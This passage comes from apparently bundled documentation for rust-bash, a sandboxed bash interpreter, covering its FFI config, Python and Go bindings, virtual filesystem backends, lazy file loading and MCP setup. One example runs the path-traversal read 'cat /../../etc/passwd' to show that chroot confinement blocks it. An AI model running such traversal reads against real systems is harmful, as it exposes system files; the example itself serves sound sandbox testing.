string. |\n\n## JSON Configuration Reference\n\nPass a JSON string to `rust_bash_create` to configure the sandbox. All fields are optional — `\"{}\"` gives you a default sandbox.\n\n```json\n{\n  \"files\": {\n    \"/data.txt\": \"file content\",\n    \"/config.json\": \"{\\\"key\\\": \\\"value\\\"}\"\n  },\n  \"env\": {\n    \"USER\": \"agent\",\n    \"HOME\": \"/home/agent\"\n  },\n  \"cwd\": \"/\",\n  \"limits\": {\n    \"max_command_count\": 10000,\n    \"max_execution_time_secs\": 30,\n    \"max_loop_iterations\": 10000,\n    \"max_output_size\": 10485760,\n    \"max_call_depth\": 25,\n    \"max_string_length\": 10485760,\n    \"max_glob_results\": 100000,\n    \"max_substitution_depth\": 50,\n    \"max_heredoc_size\": 10485760,\n    \"max_brace_expansion\": 10000\n  },\n  \"network\": {\n    \"enabled\": true,\n    \"allowed_url_prefixes\": [\"https://api.example.com/\"],\n    \"allowed_methods\": [\"GET\", \"POST\"],\n    \"max_response_size\": 10485760,\n    \"max_redirects\": 5,\n    \"timeout_secs\": 30\n  }\n}\n```\n\n### Field Reference\n\n| Field | Type | Default | Description |\n|-------|------|---------|-------------|\n| `files` | `{path: content}` | `{}` | Pre-seed the virtual filesystem with files (text content only). |\n| `env` | `{name: value}` | `{}` | Set environment variables in the sandbox. |\n| `cwd` | `string` | `\"/\"` | Initial working directory. Created automatically if it doesn't exist. |\n| `limits.max_command_count` | `integer` | `10000` | Maximum number of simple commands to execute. |\n| `limits.max_execution_time_secs` | `integer` | `30` | Wall-clock timeout in seconds. |\n| `limits.max_loop_iterations` | `integer` | `10000` | Maximum iterations across all loops. |\n| `limits.max_output_size` | `integer` | `10485760` | Maximum combined stdout+stderr bytes. |\n| `limits.max_call_depth` | `integer` | `25` | Maximum function/subshell call depth. |\n| `limits.max_string_length` | `integer` | `10485760` | Maximum length of any single string value. |\n| `limits.max_glob_results` | `integer` | `100000` | Maximum number of glob expansion results. |\n| `limits.max_substitution_depth` | `integer` | `50` | Maximum nesting depth for command substitutions. |\n| `limits.max_heredoc_size` | `integer` | `10485760` | Maximum size of a here-document. |\n| `limits.max_brace_expansion` | `integer` | `10000` | Maximum number of brace expansion results. |\n| `network.enabled` | `boolean` | `false` | Whether `curl` can make HTTP requests. |\n| `network.allowed_url_prefixes` | `[string]` | `[]` | URL prefixes that `curl` is allowed to access. |\n| `network.allowed_methods` | `[string]` | `[\"GET\", \"POST\"]` | Allowed HTTP methods. |\n| `network.max_response_size` | `integer` | `10485760` | Maximum HTTP response body size in bytes. |\n| `network.max_redirects` | `integer` | `5` | Maximum number of HTTP redirects to follow. |\n| `network.timeout_secs` | `integer` | `30` | HTTP request timeout in seconds. |\n\n## Memory Management Rules\n\n| Pointer | Owner | How to free |\n|---------|-------|-------------|\n| `RustBash*` from `rust_bash_create` | Caller | `rust_bash_free(sb)` |\n| `ExecResult*` from `rust_bash_exec` | Caller | `rust_bash_result_free(result)` |\n| `const char*` from `rust_bash_version` | Library (static) | **Do not free** |\n| `const char*` from `rust_bash_last_error` | Library (thread-local) | **Do not free** — valid only until next FFI call |\n\n**Key rule:** Every non-NULL pointer returned by `_create` or `_exec` must be freed exactly once with the matching `_free` function. Passing NULL to either free function is a safe no-op.\n\n> **Important:** `ExecResult.stdout_ptr` and `ExecResult.stderr_ptr` are **not** null-terminated. Always use the corresponding `stdout_len` / `stderr_len` field to determine the byte count.\n\n## Error Handling Pattern\n\nAll fallible functions (`rust_bash_create`, `rust_bash_exec`) return `NULL` on error. After receiving `NULL`, call `rust_bash_last_error()` to retrieve a human-readable error message:\n\n```c\n#include \"rust_bash.h\"\n#include <stdio.h>\n\nstruct RustBash *sb = rust_bash_create(\"{invalid json}\");\nif (sb == NULL) {\n    const char *err = rust_bash_last_error();\n    fprintf(stderr, \"Error: %s\\n\", err);  // err is null-terminated\n    return 1;\n}\n```\n\n- `rust_bash_last_error()` returns `NULL` when the last call succeeded.\n- The error pointer is valid only until the next FFI call on the same thread.\n- Copy the error string if you need to keep it.\n\n## Using from Python\n\nComplete example using the `ctypes` module. See also [`examples/ffi/python/`](../../examples/ffi/python/).\n\n```python\nimport ctypes\nimport json\nimport os\n\n# --- Load the shared library ---\nlib_path = os.environ.get(\n    \"RUST_BASH_LIB\",\n    os.path.join(os.path.dirname(__file__), \"../../../target/release/librust_bash.so\"),\n)\nlib = ctypes.CDLL(lib_path)\n\n# --- Define the ExecResult struct ---\n# Use c_void_p (not c_char_p) for stdout_ptr/stderr_ptr because they are\n# NOT null-terminated — c_char_p would auto-convert and read past the buffer.\nclass ExecResult(ctypes.Structure):\n    _fields_ = [\n        (\"stdout_ptr\", ctypes.c_void_p),\n        (\"stdout_len\", ctypes.c_int32),\n        (\"stderr_ptr\", ctypes.c_void_p),\n        (\"stderr_len\", ctypes.c_int32),\n        (\"exit_code\", ctypes.c_int32),\n    ]\n\n# --- Declare function signatures ---\nlib.rust_bash_create.argtypes = [ctypes.c_char_p]\nlib.rust_bash_create.restype = ctypes.c_void_p\n\nlib.rust_bash_exec.argtypes = [ctypes.c_void_p, ctypes.c_char_p]\nlib.rust_bash_exec.restype = ctypes.POINTER(ExecResult)\n\nlib.rust_bash_result_free.argtypes = [ctypes.POINTER(ExecResult)]\nlib.rust_bash_result_free.restype = None\n\nlib.rust_bash_free.argtypes = [ctypes.c_void_p]\nlib.rust_bash_free.restype = None\n\nlib.rust_bash_last_error.argtypes = []\nlib.rust_bash_last_error.restype = ctypes.c_char_p\n\nlib.rust_bash_version.argtypes = []\nlib.rust_bash_version.restype = ctypes.c_char_p\n\n# --- Use the API ---\nprint(\"rust-bash version:\", lib.rust_bash_version().decode())\n\nconfig = json.dumps({\n    \"files\": {\"/hello.txt\": \"Hello from Python!\"},\n    \"env\": {\"GREETING\": \"Hi\"},\n    \"cwd\": \"/\",\n})\n\nsb = lib.rust_bash_create(config.encode(\"utf-8\"))\nif not sb:\n    err = lib.rust_bash_last_error()\n    raise RuntimeError(f\"Failed to create sandbox: {err.decode()}\")\n\ntry:\n    # Execute a command\n    result = lib.rust_bash_exec(sb, b\"cat /hello.txt\")\n    if not result:\n        err = lib.rust_bash_last_error()\n        raise RuntimeError(f\"exec failed: {err.decode()}\")\n\n    # Read output — stdout/stderr are NOT null-terminated, use pointer + length\n    stdout = ctypes.string_at(result.contents.stdout_ptr, result.contents.stdout_len)\n    print(\"stdout:\", stdout.decode())\n    print(\"exit code:\", result.contents.exit_code)\n    lib.rust_bash_result_free(result)\n\n    # Execute another command using the environment variable\n    result = lib.rust_bash_exec(sb, b\"echo $GREETING\")\n    if not result:\n        err = lib.rust_bash_last_error()\n        raise RuntimeError(f\"exec failed: {err.decode()}\")\n\n    stdout = ctypes.string_at(result.contents.stdout_ptr, result.contents.stdout_len)\n    print(\"stdout:\", stdout.decode())\n    lib.rust_bash_result_free(result)\nfinally:\n    lib.rust_bash_free(sb)\n```\n\n**Key points:**\n- stdout/stderr are **not** null-terminated — always use `ctypes.string_at(ptr, length)`.\n- Use `try/finally` to ensure `rust_bash_free` is called even if an error occurs.\n- Encode strings to UTF-8 bytes before passing to the C API.\n\n## Using from Go\n\nComplete example using cgo. See also [`examples/ffi/go/`](../../examples/ffi/go/).\n\n```go\npackage main\n\n/*\n#cgo LDFLAGS: -L${SRCDIR}/../../../target/release -lrust_bash\n#cgo CFLAGS: -I${SRCDIR}/../../../include\n#include \"rust_bash.h\"\n#include <stdlib.h>\n*/\nimport \"C\"\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"unsafe\"\n)\n\nfunc main() {\n\t// Print library version\n\tversion := C.GoString(C.rust_bash_version())\n\tfmt.Println(\"rust-bash version:\", version)\n\n\t// Build JSON config\n\tconfig := map[string]interface{}{\n\t\t\"files\": map[string]string{\"/hello.txt\": \"Hello from Go!\"},\n\t\t\"env\":   map[string]string{\"GREETING\": \"Hi\"},\n\t\t\"cwd\":   \"/\",\n\t}\n\tconfigJSON, _ := json.Marshal(config)\n\n\t// Create sandbox\n\tcConfig := C.CString(string(configJSON))\n\tdefer C.free(unsafe.Pointer(cConfig))\n\n\tsb := C.rust_bash_create(cConfig)\n\tif sb == nil {\n\t\terrMsg := C.GoString(C.rust_bash_last_error())\n\t\tfmt.Fprintf(os.Stderr, \"Failed to create sandbox: %s\\n\", errMsg)\n\t\tos.Exit(1)\n\t}\n\tdefer C.rust_bash_free(sb)\n\n\t// Execute a command\n\tcCmd := C.CString(\"cat /hello.txt\")\n\tdefer C.free(unsafe.Pointer(cCmd))\n\n\tresult := C.rust_bash_exec(sb, cCmd)\n\tif result == nil {\n\t\terrMsg := C.GoString(C.rust_bash_last_error())\n\t\tfmt.Fprintf(os.Stderr, \"exec failed: %s\\n\", errMsg)\n\t\tos.Exit(1)\n\t}\n\n\t// Read output — stdout/stderr use pointer+length, NOT null-terminated\n\tstdout := C.GoStringN(result.stdout_ptr, C.int(result.stdout_len))\n\tfmt.Printf(\"stdout: %s\", stdout)\n\tfmt.Printf(\"exit code: %d\\n\", result.exit_code)\n\tC.rust_bash_result_free(result)\n}\n```\n\n**Key points:**\n- `${SRCDIR}` in cgo directives resolves to the directory containing the Go source file.\n- stdout/stderr are **not** null-terminated — use `C.GoStringN(ptr, len)`.\n- Use `defer` for cleanup to ensure resources are freed.\n\n## Common Pitfalls\n\n### Forgetting to free resources\n\nEvery `rust_bash_create` must be paired with `rust_bash_free`, and every non-NULL `rust_bash_exec` result must be paired with `rust_bash_result_free`. In Python, use `try/finally`; in Go, use `defer`.\n\n### Reading stdout/stderr as null-terminated strings\n\nThe `stdout_ptr` and `stderr_ptr` fields are **not** null-terminated. Reading them as C strings (e.g., `printf(\"%s\", result->stdout_ptr)`) will read past the buffer. Always use the corresponding `_len` field:\n- **C:** `fwrite(result->stdout_ptr, 1, result->stdout_len, stdout)`\n- **Python:** `ctypes.string_at(result.contents.stdout_ptr, result.contents.stdout_len)`\n- **Go:** `C.GoStringN(result.stdout_ptr, C.int(result.stdout_len))`\n\n### Thread safety\n\nA `RustBash*` handle is **not** thread-safe. Do not share a single handle across threads without external locking. Create separate handles for concurrent use. Error messages from `rust_bash_last_error()` are thread-local, so concurrent threads won't clobber each other's errors.\n\n### UTF-8 encoding\n\nAll strings passed to the API (`config_json`, `command`) must be valid UTF-8. File contents in the JSON config are also UTF-8 text strings. Passing invalid UTF-8 will result in an error.\n\n### Using `rust_bash_last_error()` after a successful call\n\n`rust_bash_last_error()` returns `NULL` after a successful call — it is cleared on every FFI entry. Only check it immediately after a function returns `NULL`.\n\n## Known Limitations\n\n- **Binary files not supported via JSON config.** The `files` map in the JSON config accepts text strings only (UTF-8). Binary file content cannot be pre-seeded through the FFI.\n- **No custom command callbacks.** The FFI does not currently support registering custom `VirtualCommand` implementations from the host language. This is deferred to Milestone 5.4.\n- **Single-threaded per handle.** Each `RustBash*` handle must be used from one thread at a time.\n","/home/user/docs/recipes/filesystem-backends.md":"# Filesystem Backends\n\n## Goal\n\nChoose and configure the right virtual filesystem backend for your use case: fully sandboxed, copy-on-write over real files, direct host access, or a composite of all three.\n\n## Overview\n\n| Backend | Reads from | Writes to | Host access | Best for |\n|---------|-----------|-----------|-------------|----------|\n| `InMemoryFs` | Memory | Memory | None | Sandboxed execution, testing, AI agents |\n| `OverlayFs` | Disk (lower) + Memory (upper) | Memory only | Read-only | Code analysis, safe experimentation |\n| `ReadWriteFs` | Disk | Disk | Full (or chroot-restricted) | Trusted scripts, build tools |\n| `MountableFs` | Delegated per mount | Delegated per mount | Depends on mounts | Composite environments |\n\n## InMemoryFs (Default)\n\nThis is what you get with `RustBashBuilder::new().build()`. All data lives in memory; the host filesystem is never touched.\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/src/main.rs\".into(), b\"fn main() {}\".to_vec()),\n        (\"/src/lib.rs\".into(), b\"pub fn hello() {}\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\n// Files exist only in memory\nlet result = shell.exec(\"find / -name '*.rs'\").unwrap();\nassert!(result.stdout.contains(\"/src/main.rs\"));\nassert!(result.stdout.contains(\"/src/lib.rs\"));\n\n// Writes stay in memory — no host files are created\nshell.exec(\"echo new > /src/new.rs\").unwrap();\n```\n\n## OverlayFs — Read Real Files, Sandbox Writes\n\nReads from a real directory on disk but all mutations stay in memory. The disk is never modified.\n\n```rust\nuse rust_bash::{RustBashBuilder, OverlayFs};\nuse std::sync::Arc;\n\n// Point at a real directory on the host\nlet overlay = OverlayFs::new(\"./my_project\").unwrap();\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(overlay))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// Read files from disk (paths are relative to the overlay root)\nlet result = shell.exec(\"cat /Cargo.toml\").unwrap();\nprintln!(\"{}\", result.stdout); // actual Cargo.toml contents\n\n// Writes go to the in-memory upper layer\nshell.exec(\"echo modified > /Cargo.toml\").unwrap();\nlet result = shell.exec(\"cat /Cargo.toml\").unwrap();\nassert_eq!(result.stdout, \"modified\\n\"); // reads the in-memory version\n\n// Disk file is untouched:\n// assert_eq!(std::fs::read_to_string(\"./my_project/Cargo.toml\"), original)\n```\n\n### Deletions are tracked with whiteouts\n\n```rust\nuse rust_bash::{RustBashBuilder, OverlayFs};\nuse std::sync::Arc;\n\nlet overlay = OverlayFs::new(\"./my_project\").unwrap();\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(overlay))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// Delete a file that exists on disk — it becomes invisible but the disk file remains\nshell.exec(\"rm /README.md\").unwrap();\nlet result = shell.exec(\"cat /README.md\").unwrap();\nassert_ne!(result.exit_code, 0); // file appears deleted\n// But on disk: std::fs::metadata(\"./my_project/README.md\").is_ok() == true\n```\n\n## ReadWriteFs — Direct Filesystem Access\n\nFor trusted scripts that need real filesystem access. Use `with_root()` for chroot-like confinement.\n\n```rust\nuse rust_bash::{RustBashBuilder, ReadWriteFs};\nuse std::sync::Arc;\n\n// Unrestricted access to the entire filesystem:\n// let rwfs = ReadWriteFs::new();\n\n// Confined to a subtree (recommended):\nlet rwfs = ReadWriteFs::with_root(\"/tmp/sandbox\").unwrap();\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(rwfs))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// All paths are resolved relative to the root\nshell.exec(\"mkdir -p /output && echo hello > /output/result.txt\").unwrap();\n// This actually writes to /tmp/sandbox/output/result.txt on disk\n\n// Path traversal beyond the root is blocked\nlet result = shell.exec(\"cat /../../etc/passwd\").unwrap();\nassert_ne!(result.exit_code, 0); // PermissionDenied\n```\n\n## MountableFs — Combine Backends\n\nDelegate different path prefixes to different backends. Longest-prefix matching determines which backend handles each operation.\n\n```rust\nuse rust_bash::{RustBashBuilder, InMemoryFs, MountableFs, OverlayFs};\nuse std::sync::Arc;\n\nlet mountable = MountableFs::new()\n    .mount(\"/\", Arc::new(InMemoryFs::new()))                             // in-memory root\n    .mount(\"/project\", Arc::new(OverlayFs::new(\"./myproject\").unwrap())) // overlay on real project\n    .mount(\"/tmp\", Arc::new(InMemoryFs::new()));                         // separate temp space\n\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(mountable))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// /project reads from disk via OverlayFs\nshell.exec(\"cat /project/Cargo.toml\").unwrap();\n\n// /tmp is a separate in-memory space\nshell.exec(\"echo scratch > /tmp/work.txt\").unwrap();\n\n// / is the default in-memory backend\nshell.exec(\"echo hello > /root-file.txt\").unwrap();\n```\n\n### Real-world example: isolated build environment\n\n```rust\nuse rust_bash::{RustBashBuilder, InMemoryFs, MountableFs, ReadWriteFs};\nuse std::sync::Arc;\n\nlet mountable = MountableFs::new()\n    .mount(\"/\", Arc::new(InMemoryFs::new()))\n    .mount(\"/output\", Arc::new(ReadWriteFs::with_root(\"/tmp/build-output\").unwrap()));\n\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(mountable))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// Script can write real files only under /output\nshell.exec(\"echo 'build artifact' > /output/result.txt\").unwrap();\n// /output/result.txt is a real file at /tmp/build-output/result.txt\n\n// Everything else is sandboxed in memory\nshell.exec(\"echo 'temp data' > /scratch.txt\").unwrap();\n// /scratch.txt exists only in memory\n```\n\n## Seeding Files from a Host Directory\n\nThe builder's `.files()` method accepts a `HashMap<String, Vec<u8>>`. To load files from a host directory:\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\nuse std::path::Path;\n\nfn load_dir(dir: &Path, prefix: &str) -> HashMap<String, Vec<u8>> {\n    let mut files = HashMap::new();\n    if let Ok(entries) = std::fs::read_dir(dir) {\n        for entry in entries.flatten() {\n            let path = entry.path();\n            let name = format!(\"{prefix}/{}\", entry.file_name().to_string_lossy());\n            if path.is_file() {\n                if let Ok(data) = std::fs::read(&path) {\n                    files.insert(name, data);\n                }\n            } else if path.is_dir() {\n                files.extend(load_dir(&path, &name));\n            }\n        }\n    }\n    files\n}\n\nlet files = load_dir(Path::new(\"./test-fixtures\"), \"\");\nlet mut shell = RustBashBuilder::new()\n    .files(files)\n    .build()\n    .unwrap();\n```\n\nThis copies files into the InMemoryFs at build time. For large directories, prefer `OverlayFs` to avoid the upfront memory cost.\n\n## Lazy File Loading (TypeScript)\n\nThe `rust-bash` package supports three file entry types, letting you defer expensive I/O until the file is actually needed.\n\n### The Three Patterns\n\n```typescript\nimport { Bash } from 'rust-bash';\n\nconst bash = await Bash.create(createBackend, {\n  files: {\n    // 1. Eager (string) — written immediately at creation time\n    '/data.txt': 'hello world',\n\n    // 2. Lazy sync (() => string) — resolved on first exec() or readFile()\n    '/config.json': () => JSON.stringify(getConfig()),\n\n    // 3. Lazy async (() => Promise<string>) — resolved on first exec()\n    '/remote.txt': async () => {\n      const res = await fetch('https://api.example.com/data');\n      return await res.text();\n    },\n  },\n});\n```\n\n| Type | Signature | When Resolved | Use Case |\n|------|-----------|---------------|----------|\n| Eager | `string` | Immediately at `Bash.create()` | Small, known-at-definition-time content |\n| Lazy sync | `() => string` | On first `exec()` or `readFile()` | Computed content, environment-dependent config |\n| Lazy async | `() => Promise<string>` | On first `exec()` (all lazy files materialized) | Remote content, database queries, file reads |\n\n### Deferred Resolution\n\nLazy files are **not** resolved during `Bash.create()` — construction is instant. They are materialized on first `exec()` call via `Promise.all()` (all lazy files resolved concurrently). Sync lazy files can also be resolved individually via `readFile()`.\n\nIf `writeFile()` is called on a lazy path before it's ever read, the lazy callback is skipped entirely (write-before-read optimization).\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/api/users.json': async () => {\n      const res = await fetch('https://api.example.com/users');\n      return await res.text();\n    },\n    '/api/config.json': async () => {\n      const res = await fetch('https://api.example.com/config');\n      return await res.text();\n    },\n    '/generated.txt': () => generateReport(),  // sync, also resolved in parallel batch\n    '/static.txt': 'always available',          // eager, written immediately\n  },\n});\n// Bash.create() returns immediately — no I/O happens yet\n// Both fetches and generateReport() run in parallel on the first exec() call\n```\n\n### Use Cases\n\n**Large files loaded on demand:**\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    // Only reads the 50 MB log file when a Bash instance is actually created\n    '/var/log/app.log': () => fs.readFileSync('/real/path/to/app.log', 'utf-8'),\n  },\n});\n```\n\n**Remote content fetched lazily:**\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/schema.sql': async () => {\n      const res = await fetch('https://raw.githubusercontent.com/org/repo/main/schema.sql');\n      return await res.text();\n    },\n  },\n});\n\nawait bash.exec('grep CREATE /schema.sql | wc -l');\n```\n\n**Environment-dependent configuration:**\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/etc/app.conf': () => {\n      const env = process.env.NODE_ENV ?? 'development';\n      return `environment=${env}\\nlog_level=${env === 'production' ? 'warn' : 'debug'}\\n`;\n    },\n  },\n});\n```\n\n---\n\n## TypeScript: Virtual Filesystem\n\nThe `rust-bash` npm package provides file seeding at creation time and direct VFS access.\n\n### Seeding Files\n\n```typescript\nimport { Bash } from 'rust-bash';\n\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/src/main.rs': 'fn main() {}',\n    '/src/lib.rs': 'pub fn hello() {}',\n    '/config.json': '{\"debug\": true}',\n  },\n});\n\nconst result = await bash.exec('find / -name \"*.rs\"');\n// result.stdout includes /src/main.rs and /src/lib.rs\n```\n\n### Lazy File Loading\n\nFile values can be functions — resolved concurrently at `Bash.create()` time via `Promise.all`. This keeps the config declarative while deferring expensive I/O until the instance is actually created:\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    // Eager — written immediately\n    '/data.txt': 'hello world',\n\n    // Lazy sync — resolved at Bash.create() time\n    '/config.json': () => JSON.stringify(getConfig()),\n\n    // Lazy async — resolved at Bash.create() time (awaited)\n    '/remote.txt': async () => {\n      const res = await fetch('https://example.com/data');\n      return await res.text();\n    },\n  },\n});\n\n// /remote.txt is only fetched when a command reads it:\nawait bash.exec('cat /remote.txt');\n```\n\n### Direct VFS Access\n\nThe `bash.fs` proxy provides synchronous filesystem operations:\n\n```typescript\n// Write files\nbash.fs.writeFileSync('/output.txt', 'content');\n\n// Read files\nconst data = bash.fs.readFileSync('/output.txt');\n\n// Check existence\nconst exists = bash.fs.existsSync('/output.txt');\n\n// Create directories\nbash.fs.mkdirSync('/dir/subdir', { recursive: true });\n\n// List directory contents\nconst entries = bash.fs.readdirSync('/');\n\n// File stats\nconst stat = bash.fs.statSync('/output.txt');\nconsole.log(stat.isFile, stat.size);\n\n// Remove files\nbash.fs.rmSync('/output.txt');\nbash.fs.rmSync('/dir', { recursive: true });\n```\n\n### Browser Example\n\nIn the browser, only `InMemoryFs` is available (no host filesystem access):\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend, {\n  files: {\n    '/index.html': '<h1>Hello</h1>',\n    '/style.css': 'body { color: red; }',\n  },\n});\n\n// All operations are in-memory\nawait bash.exec('cat /index.html | grep -o \"Hello\"');\nbash.fs.writeFileSync('/output.txt', 'generated');\n```\n","/home/user/docs/recipes/getting-started.md":"# Getting Started: Embedding rust-bash in a Rust Application\n\n## Goal\n\nCreate a sandboxed bash shell, execute scripts, and inspect results — all from Rust code with no host filesystem access.\n\n## Minimal Example\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nfn main() {\n    let mut shell = RustBashBuilder::new().build().unwrap();\n\n    let result = shell.exec(\"echo 'Hello from rust-bash!'\").unwrap();\n    assert_eq!(result.stdout, \"Hello from rust-bash!\\n\");\n    assert_eq!(result.exit_code, 0);\n    assert_eq!(result.stderr, \"\");\n}\n```\n\n`RustBashBuilder::new().build()` gives you a shell with:\n- An empty in-memory filesystem (just a root `/` directory)\n- No environment variables\n- Working directory at `/`\n- All built-in commands registered (62 commands + 18 interpreter builtins)\n- Default execution limits (10k commands, 30s timeout, etc.)\n\n## Pre-populating Files and Environment\n\nMost real use cases need seed data. Use the builder to set up files, environment variables, and a working directory:\n\n```rust\nuse rust_bash::RustBashBuilder;\nuse std::collections::HashMap;\n\nlet mut shell = RustBashBuilder::new()\n    .files(HashMap::from([\n        (\"/etc/config.json\".into(), br#\"{\"debug\": true}\"#.to_vec()),\n        (\"/app/script.sh\".into(), b\"echo running; cat /etc/config.json\".to_vec()),\n    ]))\n    .env(HashMap::from([\n        (\"HOME\".into(), \"/home/user\".into()),\n        (\"APP_ENV\".into(), \"production\".into()),\n    ]))\n    .cwd(\"/app\")\n    .build()\n    .unwrap();\n\n// Source a script file\nlet result = shell.exec(\"source /app/script.sh\").unwrap();\nassert!(result.stdout.contains(\"running\"));\nassert!(result.stdout.contains(\"debug\"));\n```\n\nParent directories are created automatically — `/etc/` and `/app/` don't need to exist beforehand.\n\n## Inspecting Results\n\nEvery `exec()` call returns an `ExecResult` with three fields:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nlet result = shell.exec(\"echo hello; echo oops >&2; exit 42\").unwrap();\n\nprintln!(\"stdout: {:?}\", result.stdout);    // \"hello\\n\"\nprintln!(\"stderr: {:?}\", result.stderr);    // \"oops\\n\"\nprintln!(\"exit code: {}\", result.exit_code); // 42\n```\n\nYou can also query shell state after execution:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nshell.exec(\"cd /tmp && FOO=bar\").unwrap();\n\nprintln!(\"cwd: {}\", shell.cwd());              // \"/tmp\"\nprintln!(\"last exit: {}\", shell.last_exit_code()); // 0\nprintln!(\"should exit: {}\", shell.should_exit());  // false\n```\n\n## Error Handling\n\n`exec()` returns `Result<ExecResult, RustBashError>`. The error types are:\n\n- `RustBashError::Parse` — syntax error in the script\n- `RustBashError::Execution` — runtime error (e.g., readonly variable assignment)\n- `RustBashError::LimitExceeded` — a configured limit was hit\n- `RustBashError::Vfs` — filesystem error\n- `RustBashError::Timeout` — execution time exceeded\n\n```rust\nuse rust_bash::{RustBashBuilder, RustBashError};\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nmatch shell.exec(\"echo 'unterminated\") {\n    Ok(result) => println!(\"stdout: {}\", result.stdout),\n    Err(RustBashError::Parse(msg)) => eprintln!(\"Parse error: {msg}\"),\n    Err(e) => eprintln!(\"Other error: {e}\"),\n}\n```\n\nNote: a command returning a non-zero exit code is **not** an error — it's a normal `Ok(ExecResult)` with `exit_code != 0`. Parse and limit errors are the exceptional cases.\n\n## Listing Available Commands\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet shell = RustBashBuilder::new().build().unwrap();\nlet mut names = shell.command_names();\nnames.sort();\nprintln!(\"Available commands: {}\", names.join(\", \"));\n// echo, cat, grep, sed, awk, jq, find, sort, ... (80+ commands)\n```\n\n## Next Steps\n\n- [Custom Commands](custom-commands.md) — register your own domain-specific commands\n- [Execution Limits](execution-limits.md) — configure safety bounds\n- [Filesystem Backends](filesystem-backends.md) — use OverlayFs, ReadWriteFs, or MountableFs\n\n---\n\n## Getting Started with TypeScript / npm\n\nIf you're using TypeScript or JavaScript, see the npm package:\n\n```bash\nnpm install rust-bash\n```\n\n### Minimal Example (Node.js)\n\n```typescript\nimport { Bash, tryLoadNative, createNativeBackend, initWasm, createWasmBackend } from 'rust-bash';\n\n// Auto-detect backend: native addon (fast) or WASM (universal)\nlet createBackend;\nif (await tryLoadNative()) {\n  createBackend = createNativeBackend;\n} else {\n  await initWasm();\n  createBackend = createWasmBackend;\n}\n\nconst bash = await Bash.create(createBackend, {\n  files: { '/data.txt': 'hello world' },\n  env: { USER: 'agent' },\n});\n\nconst result = await bash.exec('cat /data.txt | grep hello');\nconsole.log(result.stdout);   // \"hello world\\n\"\nconsole.log(result.exitCode); // 0\n```\n\n### Minimal Example (Browser)\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/hello.txt': 'Hello from WASM!' },\n});\n\nconst result = await bash.exec('cat /hello.txt');\nconsole.log(result.stdout); // \"Hello from WASM!\\n\"\n```\n\n### Pre-populating Files\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  files: {\n    '/data.json': '{\"name\": \"world\"}',\n    '/config.yml': 'debug: true',\n    '/lazy.txt': () => 'resolved on first read',           // lazy sync\n    '/async.txt': async () => fetchDataFromAPI(),           // lazy async\n  },\n  env: { HOME: '/home/user', APP_ENV: 'production' },\n  cwd: '/app',\n});\n```\n\n### Inspecting Results\n\n```typescript\nconst result = await bash.exec('echo hello; echo oops >&2; exit 42');\nconsole.log(result.stdout);   // \"hello\\n\"\nconsole.log(result.stderr);   // \"oops\\n\"\nconsole.log(result.exitCode); // 42\n```\n\n### Direct Filesystem Access\n\n```typescript\nbash.fs.writeFileSync('/output.txt', 'content');\nconst data = bash.fs.readFileSync('/output.txt');\nconst exists = bash.fs.existsSync('/output.txt');\nbash.fs.mkdirSync('/dir', { recursive: true });\nconst entries = bash.fs.readdirSync('/');\n```\n\n### TypeScript Next Steps\n\n- [npm package README](../../packages/core/README.md) — full TypeScript API reference\n- [Embedding in an AI Agent](ai-agent-tool.md) — use as a tool for LLM function calling\n- [MCP Server](mcp-server.md) — built-in MCP server for Claude Desktop, Cursor, VS Code\n","/home/user/docs/recipes/mcp-server.md":"# MCP Server Setup\n\nrust-bash includes a built-in [Model Context Protocol](https://modelcontextprotocol.io/) (MCP) server, making it instantly available to any MCP-compatible client — Claude Desktop, Cursor, VS Code, Windsurf, Cline, and the OpenAI Agents SDK.\n\n## Quick Start\n\n```bash\nrust-bash --mcp\n```\n\nThis starts an MCP server over stdio using JSON-RPC. The server creates a sandboxed shell instance and maintains state across all tool calls within the session.\n\n## Available Tools\n\n| Tool | Description | Arguments |\n|------|-------------|-----------|\n| `bash` | Execute bash commands | `{ command: string }` |\n| `write_file` | Write content to a file | `{ path: string, content: string }` |\n| `read_file` | Read a file's contents | `{ path: string }` |\n| `list_directory` | List directory contents | `{ path: string }` |\n\nAll file operations are isolated within the in-memory virtual filesystem — no host filesystem access.\n\n## Claude Desktop\n\nAdd to your Claude Desktop configuration file:\n\n- **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json`\n- **Windows**: `%APPDATA%\\Claude\\claude_desktop_config.json`\n\n```json\n{\n  \"mcpServers\": {\n    \"rust-bash\": {\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"]\n    }\n  